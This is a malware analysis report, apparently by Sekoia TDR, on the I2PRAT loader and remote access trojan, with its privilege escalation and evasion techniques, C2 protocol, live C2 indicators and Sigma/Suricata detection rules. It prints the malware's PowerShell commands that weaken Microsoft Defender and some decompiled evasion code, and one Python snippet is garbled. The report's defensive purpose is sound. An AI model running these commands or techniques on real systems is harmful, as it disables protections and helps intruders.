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28 minutes reading

This article was originally distributed as a private FLINT report to our customers on 29
January 2025.

Introduction

During our daily tracking and analysis routine at TDR (Threat Detection & Research), we
have been monitoring a technique known as ClickFix . One of the payloads dropped in a
campaign starting from November 2024 drew our attention due to the absence of a signature
and the lack of documented behaviour and network patterns in public reports. This discovery
initiated our investigation into the new piece of malware I2PRAT.

The malware was recently identified as a multi-stage RAT (Remote Access Trojan). The first
stage is protected by an initial layer of obfuscation, which is a commodity packer. Developed
in C++, the malware employs several advanced techniques to fully compromise its victims.
This FLINT report covers the various techniques identified during its reverse engineering.
These techniques range from defense evasion, such as parent process ID spoofing, to
privilege escalation by abusing RPC mechanisms, and include dynamic API resolution.
This report also covers the functionalities of the RAT named I2PRAT that employ the I2P
network to anonymise its final Command and Control (C2). The last part of this FLINT gives
tracking and detection opportunities on the different stages of the newly identified threat.

Sample overview

Before delving into the analysis of this undocumented threat, here is an overview of the
infection chain. The malware is composed of three layers, the first one is perceived as a
binder / packer, which executes in memory the second stage. This second stage, is the first
topic covered in this FLINT, it is a sophisticated loader that employs various techniques to
elevate its privilege and bypass defenses. 

Finally, the remaining subject is the analysis of an utility used to expose the compromised
devices on the I2P anonymisation network to provide the attacker with consequent bot
access.
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Figure 1. ClickFix campaign delivering advanced loader that drops I2PRAT

I2PRAT Malware Loader

Privileges review

The first task the malware (p.exe in the Figure 1) performs on the infected device is to verify
its privileges. To do this, it retrieves the token information  for its process. It uses the
NtOpenProcess function to acquire a handle to itself. It then obtains the associated access
token using NtOpenProcessToken with the desired access set to TOKEN_QUERY, which
allows querying most information classes via the NtQueryInformationToken function.   

The malware looks for the information class “TokenOrigin | TokenType”. The TokenOrigin
contains the Locally Unique IDentifier (LUID) for the logon session, and the
TokenInformation is a pointer to a Security Identifier (SID). The SID is then passed to the
GetSidSubAuthority function (from Advapi32.dll), which returns a relative identifier (RID).
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The RID is used to verify that the current process has the
SECURITY_MANDATORY_SYSTEM_RID, which is the RID of the NT Authority\SYSTEM
account.

Subsequently, the malware also queries the current process token information by requesting
the token information class “TokenAuditPolicy | TokenOwner”. However, to query the
TokenAuditPolicy, the current account must have the SeSecurityPrivilege, as it serves as a
verification method for the malware.

Depending on the results of these privilege verifications, the malware behaves differently.
There are three possible scenarios:

If the current process is not run by the SYSTEM account and does not have the
SeSecurityPrivilege privilege, the malware abuses an RPC behavior (see section: RPC
elevation for additional information) to elevate its privileges and ends in the second
scenario.
If the current process is not run by the SYSTEM account but has the
SeSecurityPrivilege privilege, the malware migrates itself using SeDebugPrivilege (see
section: Parent ID spoofing  for additional information).
If the current process is run by the SYSTEM account, IP2RAT enters its bot mode,
where the malware performs most of its actions and it interacts with its command and
control.

RPC elevation

In a typical case of malware execution, when it does not have high privileges on the infected
device, a malware attempts to elevate its privileges. Here, the loader attempts to gain the
local admin privileges by abusing a Remote Procedure Call (RPC) mechanism. 

The loader connects using a RPC stub to the RPC server exposed by the APPINFO  service
whose interface ID is 201ef99a-7fa0-444c-9399-19ba84f12a1a. 

Nevertheless, from the various detonations of the malware with various samples none
successfully exploited the RPC to bypass the User Access Control (UAC) and gain local
admin access rights. The root cause of this failure is the Windows security patch
KB5031356 . With the security update, the malware pops the usual UAC prompt to ask for
the local admin account credentials.

Parent ID spoofing

In the second scenario, where the malware is executed by the local administrator, the loader
leverages the SeDebugPrivilege before replicating itself into an elevated newly spawned
process with the NT Authority\System account. 
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To that end, it iterates over the running processes to identify one with the
SECURITY_MANDATORY_SYSTEM_RID permission, using native functions.

Foremost, the malware adjusts its token privilege to gain SeDebugPrivilege using the
AdjustTokenPrivileges from advapi32 DLL. This permission is required to allow the current
process to open a handle to another process.

Subsequently, it calls the NtQuerySystemInformation function to retrieve the
_SYSTEM_PROCESS_INFORMATION  structure. This structure contains two members that
are useful for malware: NextEntryOffset, which specifies the offset from the beginning of the
output buffer to the next process entry, and UniqueProcessID (the PID).

The criteria for the targeted process is to have the RID set to 0x4000, corresponding to the
SYSTEM RID. The RID lookup is the same as previously explained in the section Privileges
review. 

Once the targeted process is found, the loader obtains a handle to it and creates a new child
process with specific parameters and attributes copied from the elevated process.

Figure 2. Loader migration into a child of an elevated process

The notable aspect of this newly created process is that it is a copy of the elevated process.
The malware uses the NtDuplicateObject function with the desired access set to
PROCESS_ALL_ACCESS. To inherit from the duplicated process, the malware assigns to
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the new process the following attributes: “PROCESS_CREATE_FLAGS_BREAKAWAY |
PROCESS_CREATE_FLAGS_INHERIT_HANDLES |
PROCESS_CREATE_FLAG_CREATE_STORE”.

This allows the malware to elevate its privileges on the infected device from local admin to
NT_AUTHORIY\SYSTEM. Additionally the process hijacks the parent process ID.

Figure 3. Decompiled code used to set the process attributes and create the elevated
process during the elevation to NT Authority\System

As shown by Process Explorer in the  image below: the p.exe process (the loader) duplicates
itself from process ID 6028 to 8912, spawning a subprocess of the winlogon.exe process
(the Windows Winlogon service).
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Figure 4. Task manager screenshot that highlights the elevation process

NB: The targeted RID (0x4000) is used by services and other system-level applications
(such as Wininit, Winlogon, Smss, etc.).

How I2PRAT Uses Dynamic API Resolution for Evasion ?

The native API functions are obfuscated to conceal the malware behavior. The malware uses
a technique widely used in the cybercrime ecosystem: dynamic API resolution. In this context
of our investigation, the developer used a custom function that takes a hash as a parameter
which is resolved at runtime to retrieve the address of a function located in a DLL. The
functions load the required DLL in the prologue of the function and then unload in the
epilogue using the LdrLoadDll and LdrUnloadDll couple. 

The hashing algorithm is not documented in open source as of January 2025. To identify the
function by resolving the hash  used by the program for its exploitation, we created a
memory dump of the process. Subsequently, we used Dumpulator  to emulate the function
that resolves the hashes, allowing us to finally rename and retype the sample correctly.

NB: With this method to resolve correctly all hashes from various DLL we need to explicitly
load some DLLs (in the xdbg) for the process being dumped, such as (advapi32.dll,
mscoree.dll, rpcrt4.dll and ws2_32.dll) using the xdbg command “loadlib”. This step is
required because at the early stage of its execution the malware did not already dynamically
load these libraries.

To retrieve and resolve the hashes, we developed an IDA script to extract them from the PE
file. The direct resolution wrapper function uses the __cdecl calling convention and accepts
only two parameters: a handle to the DLL in which the search is conducted and the hash.
Below is an example of how the function is called:

mov edx, 0x1234fe // the hash

mov rcx, rax

call resolve_hashing
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Code 1: Example a call to the function that resolves library function hash

In IDA, we search for references to the resolve function and examine the preceding
instructions to identify the one that moves a value into the EDX register, which serves as the
function’s second argument. The script detailing this process is provided in Annex 1.

The correlation hash – function is provided in this gist .

Anti debug

The I2PRAT installer is executed at the final stage of the loader’s execution. To prevent the
installer from being debugged, the loader employs the suspending-techniques : 

First, a debugger creates a debug object (aka debug port) and then attaches it to the
target process. Starting from this point, every time an event of interest occurs in the
target process (be it thread creation, exception, or a breakpoint hit), the system pauses
its execution and posts a message to the debug port, waiting for an acknowledgment.
Additionally, attaching itself generates a process creation and a few module loading
events. Luckily for us, the system does not enforce any time constraints on the
responses, so we can delay them indefinitely, keeping the target paused.

Typically, debuggers roughly implement a loop:

1. Create a debug object: NtCreateDebugObject;
2. Attach this object to targeted process: NtDebugActiveProcess;
3. Wait for a particular event (e.g. thread creation, exception raised, breakpoint hit, etc.):

NtWaitForDebugEvent;
4. The user performs actions;
5. Debuggers return to process execution until a new event occurs using :

NtDebugContinue.

In the case of the I2PRAT loader, the malware puts the process in a waiting state, the debug
object waits for a new process creation event (DbgCreateProcessStateChange). By doing
this, the malware places the newly created process in a pending state, preventing a
debugger from being attached to the process at that moment.

8
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while ntWaitForDebugEvent(debugObjectHandle, 1u, 0LL, &debug_wait_state) >= 0 

{

   if ( debug_wait_state == DbgCreateProcessStateChange )

   NtDebugContinue_0(debugObjectHandle, &ClientId, DBG_CONTINUE);

   if ( pHandle )

   {

       lpTargetApp[0] = *a1;

       user_process = use_nt_to_create_user_process(v13, lpTargetApp, 1);

       _NtClose(pHandle);

       v15 = !user_process ? 7 : 0;

       goto leave_func;

   }

}

Code 2: Decompiled code of the function implementing the suspending-techniques 

String obfuscation

The loader obfuscates its strings using XOR operations. The variables are pushed on the
stack using XMM instruction making the decompilation a bit more tedious to analyse.

The C2 can be de-obfuscated using the following Python snippet:

import struct


key: bytes = 0x9BD595AF851D8BE7.to_bytes(8, 'little')

c2: bytes = 0xD1BF33BC9ABBE4ABC9BA2BB795A4E4AADE8B.to_bytes(18, 'big')

cleartext: bytes = bytearray()


for idx, value in enumerate(c2):

   cleartext += (value ^ key[idx % len(key)]).to_bytes()


print(f"c2 decoded: {cleartext.decode()}")

Code 3: Python snippet used to de-obfuscate string

The execution of the above script gives the C2 server ip and port: 64.95.10[.]162:1119

I2PRAT (C2) Communication via I2P

The loader communicates with its C2 server over a raw TCP connection. Based on our
observations, the port varies from 1110 to 1130. The contents of the packets are partially
encrypted using AES-128 in Cipher Block Chaining (CBC) mode. For each execution, the
encryption key and Initial Vector (IV) are unique. The sequence for generating the
cryptographic material is as follows:

1. The malware sends 24 random bytes generated using the Mersenne Twister
pseudorandom number generator algorithm, which we refer as ‘the random’;

2. The C2 server replies with 8 random bytes, which we refer as  ‘the seed’;
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NB: From this point forward, the structure of the messages (from both client and server)
consists of the size of the packet followed by the encrypted message. 

3. The malware sends an encrypted ‘hello’ message;
4. If the C2 server decrypts the message correctly using the previously computed AES

key and IV, it responds with an encrypted ‘ok’ message;
5. The malware sends the victim’s fingerprint, including information such as elevated

status, OS build, OS version (major and minor), and the username;
6. The C2 server acknowledges receipt of the fingerprint;
7. The C2 server sends a PowerShell script to disable certain Windows Defender options;
8. The malware requests the next stage;
9. The C2 server replies with the next stage, which is obfuscated and corresponds to the

I2PRAT installer;
10. The malware regularly beacons the C2 server for updates.

From the initial exchange (steps 1 and 2 of the above listing), both the C2 server and the
implant derive an AES key and an IV. The derivation process is as follows:

1. Compute the smallest odd divisor of the seed. This returns the result and the divisor;
2. Concatenate in the following format: RESULT + RANDOM + DIVISOR to create the

AES key (32 bytes);
3. Hash the AES key using the SHA-256 algorithm, then use the last 16 bytes to create

the Initial Vector.

A Python version of the odd divisor is the following:

<pre class="wp-block-code"><code>import struct

from typing import Tuple

def seed(num: int) -> Tuple[int, int]:

   _num = struct.unpack("<q", num)[0]=""     div,="" value="3," 0=""     while="" 
_num="" %="" div:=""         value="_num" div=""         div="" +="2" 
   value="_num"     return="" struct.pack('<q',="" value)[:4],="" struct.pack("
<l",="" div)<="" code=""></q",></code></pre><code>

Code 4: Python version of the algorithm used for the seed computation

P.S: A keen eye on the seed function spot a performance issue. 
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Figure 5. I2PRAT loader: TCP sequence that initiate the encryption

Defense deactivation

Throughout multiple executions of the collected sample of this threat, we observed that the
C2 server systematically sends an initial PowerShell script to execute on the infected host.
This script comprises three commands designed to deactivate specific Windows Defender
options.

@echo off


powershell.exe  -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"


powershell.exe  -NoLogo -Command "Set-MpPreference -MAPSReporting 0"


powershell.exe  -NoLogo -Command "Add-MpPreference -ExclusionPath 
'%HOMEDRIVE%\Users\'"


exit 1
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Code 5: I2PRAT loader PowerShell script that deactivate Microsoft Defender security options

While there is nothing particularly unusual about this script, as it disables Microsoft Defender
to prevent file submission to their remote analysis solution, it is important to note the
locations where further scripts or executables will be dropped and executed. By default, the
path “%HOMEDRIVE%\Users\” resolves to: “C:\Users”.

I2PRAT installer

The last stage is downloaded to the infected host over a raw encrypted communication
channel. Once decrypted, it is a valid Windows PE file that is written to the %temp%
directory with a randomly generated filename. The loader executes it using
RtlCreateProcessParametersEx and NtCreateUserProcess.

The sample executes another file in the temporary directory with a different random filename.
This file’s purpose is to block specific network traffic related to security solutions.
Subsequently, the payload drops another executable in the temporary directory with yet
another random name. This second executable is the installer of the final payload, I2PRAT.

The first dropped payload is a defense evasion tool that attempts to bypass the Windows
Filtering Platform by blocking outbound traffic from the infected device to the following
services:

Wuauserv
DoSvc
WaaSMedicSvc

Subsequently, it uses the CLSID “20d04fe0-3aea-1069-a2d8-08002b30309d” to access the
Computer Folder.

NB: The above CLSID stands for the Public Computer folder

This folder is used to store various RAT components. In the analysed case, the RAT is
consistently dropped into the “C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-
08002b30309d}” directory. This location explains the initial exception added to Windows
Defender with the command: powershell.exe -NoLogo -Command “Add-MpPreference -
ExclusionPath ‘%HOMEDRIVE%\Users\”, executed by the previous stage. 

Additionally, the installer drops several DLLs – cncclient.dll, libi2p.dll, eventsrv.dll, swlmgr.dll,
prgmgr.dll, rdpctl.dll, and samctl.dll – which are used by the final payload. The I2PRAT
sample is located in the ‘Public Computer’ directory and is consistently named main.exe. The
installer is also responsible for ensuring the persistence of I2PRAT by creating an autostart
service named “RDP-Controller”.
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Figure 6. The auto start service named RDP-Controller that starts main.exe 

I2PRAT components

The final component present on the infected device is a Remote Access Trojan (RAT)
reported as I2PRAT by GDataSoftware . The malware loads multiple DLLs, each
responsible for a specific function of the RAT. The particularity of this RAT is that it
communicates over the Invisible Internet Project (I2P) network .

I2PRAT is event-driven, with the core component initially loading the cnccli.dll and
libi2p.dll. The libi2p library enables access to the I2P network, while cnccli.dll connects to
the final C2 server and relays messages from the C2 server to various DLLs.

To facilitate communication, a DLL named evtsrv.dll binds a socket on the localhost at port
41673. When the C2 server sends a command, cnccli.dll receives it and relays it to evtsrv.dll
using the localhost:41673 connection it was previously connected to, which broadcasts the
event to the other DLLs. Each DLL can parse the message header and has its own signature
indicating that the message is intended for it.

For example the DLL dwlmgr.dll, which manages  file uploads and downloads, has for
message header the following string: -DWLMGR- (see Figure 7 below).

12
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Figure 7. Module dispatcher function with the message parsing of the dwlmgr DLL

I2PRAT DLLs breakdown

Each DLL of the RAT exports two functions: unit_init and unit_cleanup. These functions are
used by the core of the RAT to start or stop a module, with each DLL serving its specific
purpose on the infected host. The hypothesis behind this modular separation could be
twofold:

1. It simplifies code maintenance.
2. If the I2PRAT malware is developed by multiple developers, this structure helps

distribute tasks and manage the project more easily and efficiently. Based on the file
paths found in the strings of various DLLs, each project component seems to be
located on different disks (e.g., evtsrv.dll is on the D:\ drive, while cnccli.dll is on the C:\
drive).

All the DLLs communicate over an event bus:

cnccli.dll (I2P connection and communication): it forwards the message received from
the C2 to the event bus that dispatches the order to the DLL in charge of the requested
action;
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dwlrgr.dll (the file manager): it is used to delete, upload and download files on the
infected host;
rdpctl.dll: manages the RDP configuration and exposure of the infected host;
samctl.dll: manages user accounts (get, update, create, delete account);
prgmgr.dll: launches scheduled task using schtasks subdirectory to collect information
on the host (memory status, network setup, installed web browser).

Figure 8. I2PRAT DLLs communication architecture

I2PRAT C2 hunting

When I2PRAT is installed and is running on an infected device, the malware leaves some
interesting artifacts behind that can be used to investigate its infrastructure. Although the
malware communicates over an anonymous network, which makes the identification of the
final server harder, a specific log file created by the RAT named cnccli.log contains valuable
data.
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[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-
3aea-1069-a2d8-08002b30309d}\cnccli.log)

[I] (debug_init) -> Done

[D] (ini_get_sec) -> Done(name=main)

[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)

[I] (module_load) -> Done(name=ntdll.dll,ret=0x0000000077050000)

[D] (module_get_proc) -> 
Done(hnd=0x0000000077050000,name=RtlGetVersion,ret=0x0000000077079380)

[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)

[D] (registry_get_value) -> 
Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)

[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=406423b7-a2ea-4fbd-b6fa-
074d6f2f9150)

[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=a9e4f8de)

[I] (sys_init) -> Done(sys_uid=a2ea0d02a9e4f8de,sys_os_ver=6.1.7601.1.0)

[I] (net_init) -> Done

[I] (ebus_init) -> Done

[D] (ini_get_sec) -> Done(name=cnccli)

[D] (ini_get_var) -> Done(sec=cnccli,name=server_host,value=c21a8709)

[D] (ini_get_sec) -> Done(name=cnccli)

[D] (ini_get_var) -> Done(sec=cnccli,name=server_port,value=41674)

[D] (ini_get_sec) -> Done(name=cnccli)

[D] (ini_get_var) -> Done(sec=cnccli,name=server_timeo,value=15000)

[D] (ini_get_sec) -> Done(name=cnccli)

[D] (ini_get_var) -> Done(sec=cnccli,name=i2p_try_num,value=10)

[D] (ini_get_sec) -> Done(name=cnccli)

[D] (ini_get_var) -> Done(sec=cnccli,name=i2p_sam3_timeo,value=30000)

[D] (ini_get_sec) -> Done(name=cnccli)

[D] (ini_get_var) -> 
Done(sec=cnccli,name=i2p_addr,value=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlq
rhq.b32.i2p)

In this log file, the host is represented as an integer in hexadecimal format which gives the IP
address: “ 194.26.135[.]9 ”. The IP address is indexed by Censys and has a specific TCP
service exposed on port 41674, which matches the trace identified in the log file (see the
figure below).
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Figure 9. I2PRAT C2 service host banner on Censys

The server only exposed the port 41674, which corresponds to the one left in the log file by
the cnccli.dll. 

A search on Censys engine for the beginning of the hex banner of the TCP service (port
41674) provides another interesting result, the same AS (CHANGWAY-AS: 57523) with the
same port with the neighbour IP address: “ 194.26.135[.]10 ”

PS: the Censys query is “services.banner_hex:”60000000000000000000000000000000*””

Since the beginning of this investigation in November 2024, the final C2 address has been
changed to “ 154.216.20[.]137 ” which fortunately exposed on the same port as the previous
servers an identical beginning TPC response .
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Figure 10. Result of a scan on port 41674 with the specific service banner

I2PRAT Detection Opportunities

Reverse engineering analysis of the malware reveals several detectable behaviors like
Defender bypass, notably during the privilege escalation phase and its communication with
the C2 server.

Privilege Escalation

As detailed in the Privileges review chapter, the malware checks whether it has system-level
privileges. If not, it attempts to acquire them by either migrating to a process with the
required privileges or executing an RPC call.

Privilege Escalation via process migration

In this scenario, as described in the chapter Parent ID spoofing, the malware must first
acquire SeDebug privileges. This can be detected through event 4703 – A user right was
adjusted. The malware then scans active processes to identify one with system-level
privileges. Once located, it attempts to conceal itself by impersonating the parent process
(the system process) through the creation of a remote thread. Finally, the malware migrates
to the targeted process, thereby obtaining system privileges, and terminates its original
process.

This privilege escalation technique is not specific and can be used by various types of
malware. Its behaviour could be detected through a generic temporal correlation rule,
concentrating on the sequence of these events. 

priv: detect non-system processes running from C:/temp or C:/users that have acquired
SeDebug privileges.
rthread: detect the creation of a remote thread targeting a process executed from
C:/temp or C:/users.
process: detect the creation of a process with system privileges originating from
C:/temp or C:/users.
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A time correlation rule groups these three events by process and hostname. The rule triggers
if the same process meets all three conditions on the same machine within a two-minute
window.
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name: priv

detection:

 selection:

   action.properties.EnabledPrivilegeList: 'SeDebugPrivilege'

   process.executable|startswith:

       - 'C:\users\'

       - 'C:\temp\'

 filter:

   user.id: 'S-1-5-18'

 condition: selection and not filter


---

name: rthread

detection:

 selection:

   sekoiaio.target_process.executable|startswith:

     - 'C:\users\'

     - 'C:\temp\'

 condition: selection


---

name: process

detection:

 selection:

   user.name: 'SYSTEM'

   process.executable|startswith:

     - 'C:\users\'

     - 'C:\temp\'

 condition: selection


---


action: correlation

type: temporal

rule:

 - priv

 - rthread

 - process

aliases:

 correlprocess:

   thread:

     - sekoiaio.target_process.executable

   priv:

     - process.executable

   process:

     - process.executable

group-by:

 - correlprocess

 - host.name

timespan: 2m

ordered: false
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Catch C2 communication

The communication initialization phase with the Command and Control (C2) server, as
outlined in the C2 communication chapter, is noteworthy enough to sign this specific TCP
sequence. After establishing a TCP connection, the victim sends the first packet, which is 24
bytes in size, using TCP flags ACK and PUSH. The C2 server’s response has a fixed size of
8 bytes and also utilizes the ACK and PUSH flags. 

While Suricata cannot directly identify this behavior with a single rule, for experimental
purposes, it is feasible to create one rule to detect the client-to-server exchange and another
to identify the server’s response. As they operate independently, each of these rules can
potentially generate false positives. The “TCP” class type is used to simplify filtering.

alert tcp any any -> any any (msg:"Ploader-cli-random_bytes"; flow:to_server, 
established; dsize:24; flags:AP; classtype:tcp-connection; sid:10002; rev:1; 
metadata:details part1 of ploader communication used by sigma correlation rule;)

alert tcp any any -> any any (msg:"Ploader-srv-random_bytes"; flow:to_client, 
established; dsize:8; flags:AP; classtype:tcp-connection; sid:100023; rev:1; 
metadata:details part2 of ploader communication used by sigma correlation rule;)

Since Suricata alerts are integrated into Sekoia XDR, these two alerts can be refined and
correlated using a Sigma Correlation rule. This is achieved using a temporal correlation rule,
which is triggered if the two Suricata signatures are generated for the same victim-C2 pair
within a 1-minute interval. 

As Suricata signatures detect a client-to-server flow followed by a server-to-client flow, the
source and destination address IPs are reversed. To address this, aliases are used to
reorder them appropriately.
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name: ploaderseq1

detection:

 selection:

   action.properties.signature: 'Ploader-cli-random_bytes'

 condition: selection


---


name: ploaderseq2

detection:

 selection:

   action.properties.signature: 'Ploader-srv-random_bytes'

 condition: selection


---


action: correlation

type: temporal

rule:

 - ploaderseq1

 - ploaderseq2

aliases:

 c2:

   ploaderseq1:

     - destination.ip

   ploaderseq2:

     - source.ip

 victim:

   ploaderseq1:

     - source.ip

   ploaderseq2:

     - destination.ip

group-by:

 - c2

 - victim

timespan: 1m

ordered: true

I2PRAT detection

Installing and executing IP2RAT presents several detection opportunities. The malware is
known to drop multiple DLLs essential for its operation, including noteworthy examples like
libi2p and cncclient. Detection can be enhanced by employing a correlation rule to identify
the presence of these dropped DLLs, which serves as a reliable indicator of malware
installation.



23/28

name: dll_drop

detection:

 selection:

  file.name:

    - 'cnccli.dll'

    - 'dwlmgr.dll'

    - 'evtsrv.dll'

    - 'prgmgr.dll'

    - 'rdpctl.dll'

    - 'samctl.dll'

    - 'termsrv32.dll'

    - 'libi2p.dll'

    - 'rfxvmt.dll'

  file.path|contains:

    - 'temp'

    - 'users'

    - 'appadata'

  process.executable|contains:

    - 'temp'

    - 'users'

    - 'appadata'

 condition: selection


---


action: correlation

type: value_count

rule: dll_drop

group-by:

 - process.executable

 - host.name

timespan: 2m

field: file.name

condition:

 gte: 8

Change RDP settings

In certain instances, the malware has been observed altering the RDP configuration on the
compromised system. Key parameters are adjusted, such as enabling a single user to open
multiple simultaneous sessions on a Terminal Server or changing the DLL utilised by the
Terminal Services service. The following Sigma rule can help identify these types of
modifications.
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detection:

 selection_reg:

 - registry.key|endswith:

   - '\services\TermService\Parameters\ServiceDll'

   - '\Control\Terminal Server\fSingleSessionPerUser'

   - '\Control\Terminal Server\fDenyTSConnections'

   - '\Policies\Microsoft\Windows NT\Terminal Services\Shadow'

   - '\Control\Terminal Server\WinStations\RDP-Tcp\InitialProgram'

   - '\Control\Terminal Server\WinStations\RDP-Tcp\UserAuthentication'

 - registry.path|endswith:

   - '\services\TermService\Parameters\ServiceDll'

   - '\Control\Terminal Server\fSingleSessionPerUser'

   - '\Control\Terminal Server\fDenyTSConnections'

   - '\Policies\Microsoft\Windows NT\Terminal Services\Shadow'

   - '\Control\Terminal Server\WinStations\RDP-Tcp\InitialProgram'

   - '\Control\Terminal Server\WinStations\RDP-Tcp\UserAuthentication'

 condition: selection_reg

Rogue service creation

As outlined in the reverse engineering section, the malware achieves persistence by creating
an autostart service named RDP-controller. It accomplishes this using the sc.exe utility. The
associated command line is particularly noteworthy. More broadly, the Sigma rule provided
below can help detect this type of behavior.

detection:

 selection:

 - process.name: sc.exe

   process.command_line|contains|all:

   - create

   - binpath

 - action.properties.ScriptBlockText|contains|all:

   - New-Service

   - BinaryPathName

 condition: selection

Detection overview in sandbox

The loader and the installer stages can be identified using various Sigma rules.

During its installation, it runs a PowerShell script to exempt itself from Defender scans.
It establishes persistence by creating an autostart service.
It communicates with multiple IPs, including notable interactions with I2P nodes.
Default RDP configuration modification, the default port is changed for the port 54227,
it removed the restriction of one session per user (c.f.:
HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fSingleSessionPerUser) 

Conclusion
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The analysis of the infection indicates that I2PRAT is an emerging threat, with activity
observed from its discovery in late October 2024 to January 2025. The malware is an
advanced threat composed of multiple layers, each incorporating sophisticated
mechanisms. The use of an anonymisation network complicates tracking and hinders the
identification of the threat’s magnitude and spread in the wild.

Our analysis based on various sandbox executions indicates with high confidence that the
threat actor(s) behind I2PRAT act quickly following a successful device infection.

I2PRAT’s starting with the initial infection vector and progressing through a series of modules
that execute specific tasks. TDR analysts have noted its ability to communicate over
encrypted channels using the I2P network, which adds a layer of complexity to its operation.
Analyzing the command and control (C2) communications and the network traffic patterns
can provide insights into its behavior and objectives. By focusing on these technical aspects,
analysts  can better understand how the malware operates and develop appropriate
defenses.

To provide our customers with actionable intelligence, Sekoia will continue to actively monitor
the threat actor’s infrastructure and payloads across each layer, from delivery techniques to
the loader and the final payload executed on the machine.

Annexes 

Annexe 1 – IDA script to get the hashes

import idc

import idautils

resolve_func_addr = 0x00014000BE08 # to adapt to your context

hashes = []

for ref in idautils.XrefsTo(resolve_func_addr):

   for ea in idautils.Heads(ref.frm - 10, ref.frm):

       insn = idaapi.insn_t()

       length = idaapi.decode_insn(insn, ea)

       mnemonic = print_insn_mnem(ea)

       if mnemonic == "mov":

           operand_1 = print_operand(ea, 0)

           fn_hash = idc.get_operand_value(ea, 1)          

           if operand_1 == "edx":

               print(f"0x{ea:<10x} | {mnemonic} {operand_1} 0x{fn_hash:x}")

               hashes.append(fn_hash)

for h in hashes:

   print(f"0x{h:x}", end=", ")

Annexe 2 - Python script to emulate hash resolution

https://blog.sekoia.io/category/research-threat-intelligence/
https://www.sekoia.io/en/homepage/


26/28

from dumpulator import Dumpulator, modules

ADDR_CRYPT_FUNC = 0x14000BE08 # to replace according to the sample

def get_dlls(dumpulator: Dumpulator) -> list:

   dlls: list = []

   for mem in dp.memory.map():

       if mem.info:

           if type(mem.info[0]) == modules.Module:

               print(f"Add {mem.info[0].name} to the loaded DLLs")

               dlls.append(mem.info[0])

   return dlls

def resolve_address(dll, addr: int) -> str | None:

   for export in dll.exports:

       if export.address == addr and addr:

           return export.name

def emulate_hash(dp: Dumpulator, dlls, myhash: int) -> str:

   function_name = ""

   for dll in dlls:

       dp.call(ADDR_CRYPT_FUNC, [dll.base, myhash, 0])

       addr = dp.regs.rax

       function_name = resolve_address(dll, addr)

       if function_name:

           break

   function_name = "" if function_name is None else function_name

   if function_name == "":

       print(f"! hash 0x{myhash:<8x} unknown rax: 0x{addr:x}")

   return function_name, dll.name

dump_path = 'stage2_all_dlls.dmp'

dp = Dumpulator(dump_path, quiet=True)

dlls = get_dlls(dp)

MITRE ATT&CK TTPs
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Tactic Technique

Command and
Control

T1573.001 - Encrypted Channel: Symmetric Cryptography

Command and
Control

T1104 - Multi-Stage Channels

Command and
Control

T1095 - Non-Application Layer Protocol

Command and
Control

T1571 - Non-Standard Port

Command and
Control

T1090.003 - Proxy: Multi-hop Proxy

Exiltration T1048.001 - Exfiltration Over Symmetric Encrypted Non-C2
Protocol

Defense Evasion T1547 - Abuse Elevation Control Mechanism

Defense Evasion T1622 - Debugger Evasion

Defense Evasion T1140 - Deobfuscate/Decode Files or Information

Defense Evasion T1562.001 - Disable or Modify Tools

Defense Evasion T1036 - Masquerading

Defense Evasion T1055.003 - Process Injection: Thread Execution Hijacking

Defense Evasion T1055.012 - Process Injection: Process Hollowing

Defense Evasion T1027.002 - Software Packing

Defense Evasion T1027.007 - Dynamic API Resolution

Defense Evasion T1027.013 - Encrypted/Encoded File

Persistence T1543.003 - Create or Modify System Process: Windows Service

Execution T1059.001 - Command and Scripting Interpreter: PowerShell

Cybercrime
Malware
Reverse

What's next

Sekoia.io achieves ISO 27001 compliance

https://blog.sekoia.io/tag/cybercrime/
https://blog.sekoia.io/tag/malware/
https://blog.sekoia.io/tag/reverse/
https://blog.sekoia.io/sekoia-io-achieves-iso-27001-compliance/
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This article is also available in French here. Today, we are pleased to celebrate a major
achievement for Sekoia.io...

SEKOIA.IO and Maxime Arandel

Cyber threats impacting the financial sector in 2024 – focus on the
main actors

This report provides an overview of the main actors involved in malicious campaigns
impacting the financial sector in 2024....

Livia Tibirna, Coline Chavane and Sekoia TDR

PolarEdge: Unveiling an uncovered ORB network

This blog post analyzes the PolarEdge backdoor and its associated botnet, offering insights
into the adversary’s infrastructure.

Jeremy Scion, Felix Aimé and Sekoia TDR
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